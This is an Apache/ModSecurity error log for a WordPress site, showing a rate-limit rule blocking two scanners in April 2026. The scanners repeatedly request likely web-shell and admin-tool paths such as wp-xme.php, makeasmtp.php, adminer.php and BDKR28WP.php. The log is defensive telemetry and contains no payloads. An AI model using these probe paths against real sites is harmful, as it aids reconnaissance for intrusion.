[Sat Apr 25 18:19:05.544881 2026] [:error] [pid 16106:tid 16134] [client 20.215.66.169:4000] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeyVGSGjdEsrWF7e-7MVmgAAAFg"]
[Sat Apr 25 18:19:05.772799 2026] [:error] [pid 16107:tid 16147] [client 4.232.187.202:7106] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ref.php"] [unique_id "aeyVGdIfF7Hy3tw0sYReWgAAAIo"]
[Sat Apr 25 18:19:06.080150 2026] [:error] [pid 16107:tid 16144] [client 20.215.66.169:4092] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aeyVGtIfF7Hy3tw0sYReWwAAAIc"]
[Sat Apr 25 18:19:06.262801 2026] [:error] [pid 16195:tid 16204] [client 4.232.187.202:7042] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ref.php"] [unique_id "aeyVGjVPLvrpvXaNQOkEhgAAAAY"]
[Sat Apr 25 18:19:06.625183 2026] [:error] [pid 16106:tid 16123] [client 20.215.66.169:3994] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aeyVGiGjdEsrWF7e-7MVnwAAAE0"]
[Sat Apr 25 18:19:06.736867 2026] [:error] [pid 16108:tid 16164] [client 4.232.187.202:6521] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ref.php"] [unique_id "aeyVGobPF4HSQDj6WrlXpgAAAMA"]
[Sat Apr 25 18:19:07.162333 2026] [:error] [pid 16108:tid 16173] [client 20.215.66.169:13557] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aeyVG4bPF4HSQDj6WrlXqAAAAMc"]
[Sat Apr 25 18:19:07.213596 2026] [:error] [pid 16107:tid 16137] [client 4.232.187.202:7107] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ref.php"] [unique_id "aeyVG9IfF7Hy3tw0sYReXQAAAIA"]
[Sat Apr 25 18:19:07.686399 2026] [:error] [pid 16106:tid 16119] [client 4.232.187.202:6502] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aeyVGyGjdEsrWF7e-7MVoQAAAEk"]
[Sat Apr 25 18:19:07.730413 2026] [:error] [pid 16107:tid 16152] [client 20.215.66.169:4052] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aeyVG9IfF7Hy3tw0sYReYwAAAI8"]
[Sat Apr 25 18:19:08.192312 2026] [:error] [pid 16195:tid 16219] [client 4.232.187.202:6471] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aeyVHDVPLvrpvXaNQOkEiQAAABU"]
[Sat Apr 25 18:19:08.370285 2026] [:error] [pid 16195:tid 16216] [client 20.215.66.169:3975] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeyVHDVPLvrpvXaNQOkEigAAABI"]
[Sat Apr 25 18:19:08.691853 2026] [:error] [pid 16107:tid 16150] [client 4.232.187.202:7074] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aeyVHNIfF7Hy3tw0sYReaQAAAI0"]
[Sat Apr 25 18:19:08.966526 2026] [:error] [pid 16195:tid 16218] [client 20.215.66.169:3969] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeyVHDVPLvrpvXaNQOkEjgAAABQ"]
[Sat Apr 25 18:19:09.190884 2026] [:error] [pid 16195:tid 16212] [client 4.232.187.202:7163] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aeyVHTVPLvrpvXaNQOkEkQAAAA4"]
[Sat Apr 25 18:19:09.481472 2026] [:error] [pid 16107:tid 16146] [client 20.215.66.169:4066] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeyVHdIfF7Hy3tw0sYReagAAAIk"]
[Sat Apr 25 18:19:09.661920 2026] [:error] [pid 16107:tid 16148] [client 4.232.187.202:6519] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "aeyVHdIfF7Hy3tw0sYRebQAAAIs"]
[Sat Apr 25 18:19:10.024314 2026] [:error] [pid 16195:tid 16209] [client 20.215.66.169:4034] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeyVHjVPLvrpvXaNQOkElQAAAAs"]
[Sat Apr 25 18:19:10.126631 2026] [:error] [pid 16107:tid 16157] [client 4.232.187.202:7129] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "aeyVHtIfF7Hy3tw0sYRecAAAAJQ"]
[Sat Apr 25 18:19:10.586223 2026] [:error] [pid 16106:tid 16110] [client 20.215.66.169:3977] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aeyVHiGjdEsrWF7e-7MVpQAAAEA"]
[Sat Apr 25 18:19:10.602855 2026] [:error] [pid 16106:tid 16124] [client 4.232.187.202:6504] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "aeyVHiGjdEsrWF7e-7MVpgAAAE4"]
[Sat Apr 25 18:19:11.073994 2026] [:error] [pid 16195:tid 16206] [client 4.232.187.202:7124] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "aeyVHzVPLvrpvXaNQOkElwAAAAg"]
[Sat Apr 25 18:19:11.120326 2026] [:error] [pid 16107:tid 16160] [client 20.215.66.169:3991] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aeyVH9IfF7Hy3tw0sYRedQAAAJc"]
[Sat Apr 25 18:19:11.538910 2026] [:error] [pid 16108:tid 16166] [client 4.232.187.202:6515] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ktfow.php"] [unique_id "aeyVH4bPF4HSQDj6WrlXswAAAMI"]
[Sat Apr 25 18:19:11.631625 2026] [:error] [pid 16195:tid 16211] [client 20.215.66.169:3978] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aeyVHzVPLvrpvXaNQOkEmgAAAA0"]
[Sat Apr 25 18:19:12.002968 2026] [:error] [pid 16107:tid 16144] [client 4.232.187.202:7117] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ktfow.php"] [unique_id "aeyVINIfF7Hy3tw0sYRedwAAAIc"]
[Sat Apr 25 18:19:12.154747 2026] [:error] [pid 16108:tid 16173] [client 20.215.66.169:4011] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aeyVIIbPF4HSQDj6WrlXtwAAAMc"]
[Sat Apr 25 18:19:12.500012 2026] [:error] [pid 16195:tid 16222] [client 4.232.187.202:7144] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ktfow.php"] [unique_id "aeyVIDVPLvrpvXaNQOkEoAAAABg"]
[Sat Apr 25 18:19:12.686871 2026] [:error] [pid 16195:tid 16218] [client 20.215.66.169:13530] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeyVIDVPLvrpvXaNQOkEoQAAABQ"]
[Sat Apr 25 18:19:12.984095 2026] [:error] [pid 16107:tid 16138] [client 4.232.187.202:6509] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ktfow.php"] [unique_id "aeyVINIfF7Hy3tw0sYReeQAAAIE"]
[Sat Apr 25 18:19:13.198627 2026] [:error] [pid 16107:tid 16156] [client 20.215.66.169:3923] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeyVIdIfF7Hy3tw0sYReegAAAJM"]
[Sat Apr 25 18:19:13.493662 2026] [:error] [pid 16108:tid 16169] [client 4.232.187.202:7164] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "aeyVIYbPF4HSQDj6WrlXwAAAAMU"]
[Sat Apr 25 18:19:13.724247 2026] [:error] [pid 16108:tid 16179] [client 20.215.66.169:3992] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeyVIYbPF4HSQDj6WrlXwQAAAM0"]
[Sat Apr 25 18:19:13.989382 2026] [:error] [pid 16195:tid 16214] [client 4.232.187.202:7047] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "aeyVITVPLvrpvXaNQOkEpgAAABA"]
[Sat Apr 25 18:19:14.260470 2026] [:error] [pid 16195:tid 16202] [client 20.215.66.169:13488] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeyVIjVPLvrpvXaNQOkEqAAAAAQ"]
[Sat Apr 25 18:19:14.496536 2026] [:error] [pid 16107:tid 16150] [client 4.232.187.202:6501] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "aeyVItIfF7Hy3tw0sYReggAAAI0"]
[Sat Apr 25 18:19:14.830447 2026] [:error] [pid 16195:tid 16219] [client 20.215.66.169:4090] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeyVIjVPLvrpvXaNQOkErwAAABU"]
[Sat Apr 25 18:19:14.994335 2026] [:error] [pid 16195:tid 16199] [client 4.232.187.202:7120] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "aeyVIjVPLvrpvXaNQOkEsAAAAAE"]
[Sat Apr 25 18:19:15.366014 2026] [:error] [pid 16107:tid 16147] [client 20.215.66.169:4062] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeyVI9IfF7Hy3tw0sYRehAAAAIo"]
[Sat Apr 25 18:19:15.464330 2026] [:error] [pid 16106:tid 16119] [client 4.232.187.202:7126] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Xx.php"] [unique_id "aeyVIyGjdEsrWF7e-7MVqQAAAEk"]
[Sat Apr 25 18:19:15.877136 2026] [:error] [pid 16106:tid 16132] [client 20.215.66.169:3985] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeyVIyGjdEsrWF7e-7MVqgAAAFY"]
[Sat Apr 25 18:19:15.937902 2026] [:error] [pid 16106:tid 16128] [client 4.232.187.202:7160] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Xx.php"] [unique_id "aeyVIyGjdEsrWF7e-7MVqwAAAFI"]
[Sat Apr 25 18:19:16.415509 2026] [:error] [pid 16108:tid 16168] [client 20.215.66.169:13495] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeyVJIbPF4HSQDj6WrlXxQAAAMQ"]
[Sat Apr 25 18:19:16.426328 2026] [:error] [pid 16106:tid 16130] [client 4.232.187.202:7111] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Xx.php"] [unique_id "aeyVJCGjdEsrWF7e-7MVrgAAAFQ"]
[Sat Apr 25 18:19:16.900169 2026] [:error] [pid 16107:tid 16138] [client 4.232.187.202:6984] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Xx.php"] [unique_id "aeyVJNIfF7Hy3tw0sYRehgAAAIE"]
[Sat Apr 25 18:19:16.976883 2026] [:error] [pid 16195:tid 16210] [client 20.215.66.169:3914] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aeyVJDVPLvrpvXaNQOkEtwAAAAw"]
[Sat Apr 25 18:19:17.411071 2026] [:error] [pid 16107:tid 16153] [client 4.232.187.202:7131] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmini.php"] [unique_id "aeyVJdIfF7Hy3tw0sYRejQAAAJA"]
[Sat Apr 25 18:19:17.534764 2026] [:error] [pid 16107:tid 16150] [client 20.215.66.169:3982] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aeyVJdIfF7Hy3tw0sYRejwAAAI0"]
[Sat Apr 25 18:19:17.918799 2026] [:error] [pid 16106:tid 16110] [client 4.232.187.202:7133] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmini.php"] [unique_id "aeyVJSGjdEsrWF7e-7MVtAAAAEA"]
[Sat Apr 25 18:19:18.102509 2026] [autoindex:error] [pid 16106:tid 16113] [client 20.215.66.169:13500] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 18:19:18.383182 2026] [:error] [pid 16106:tid 16111] [client 4.232.187.202:7086] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmini.php"] [unique_id "aeyVJiGjdEsrWF7e-7MVuQAAAEE"]
[Sat Apr 25 18:19:18.879107 2026] [:error] [pid 16106:tid 16116] [client 4.232.187.202:6495] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmini.php"] [unique_id "aeyVJiGjdEsrWF7e-7MVvwAAAEY"]
[Sat Apr 25 18:19:19.374445 2026] [:error] [pid 16107:tid 16138] [client 4.232.187.202:7136] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2468.php"] [unique_id "aeyVJ9IfF7Hy3tw0sYRelAAAAIE"]
[Sat Apr 25 18:19:19.880692 2026] [:error] [pid 16195:tid 16209] [client 4.232.187.202:6491] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2468.php"] [unique_id "aeyVJzVPLvrpvXaNQOkEvQAAAAs"]
[Sat Apr 25 18:19:20.381010 2026] [:error] [pid 16108:tid 16187] [client 4.232.187.202:6517] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2468.php"] [unique_id "aeyVKIbPF4HSQDj6WrlX0AAAANU"]
[Sat Apr 25 18:19:20.848822 2026] [:error] [pid 16106:tid 16126] [client 4.232.187.202:6467] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2468.php"] [unique_id "aeyVKCGjdEsrWF7e-7MVwwAAAFA"]
